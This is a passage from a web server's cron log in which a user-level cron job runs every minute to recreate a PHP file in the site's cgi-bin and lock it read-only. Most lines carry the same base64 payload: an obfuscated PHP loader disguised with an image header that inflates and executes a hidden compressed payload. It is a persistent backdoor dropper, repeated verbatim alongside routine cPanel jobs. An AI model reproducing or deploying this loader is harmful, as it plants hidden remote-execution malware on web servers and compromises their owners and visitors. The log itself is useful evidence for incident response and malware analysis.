GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:15:01 server CROND[12913]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 14:15:01 server CROND[12914]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 14:15:01 server CROND[12912]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  9 14:16:01 server CROND[13123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:17:01 server CROND[13183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:18:01 server CROND[13254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:19:01 server CROND[13328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:20:01 server CROND[13406]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 14:20:01 server CROND[13407]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 14:20:01 server CROND[13408]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 14:20:01 server CROND[13413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:20:01 server CROND[13411]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 14:21:01 server CROND[13650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:22:01 server CROND[13731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:23:01 server CROND[13845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:24:01 server CROND[13921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:25:01 server CROND[14067]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 14:25:01 server CROND[14075]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  9 14:25:01 server CROND[14074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:25:01 server CROND[14085]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 14:26:01 server CROND[14325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:27:01 server CROND[14415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:27:01 server CROND[14416]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 14:28:01 server CROND[14500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:29:01 server CROND[14588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 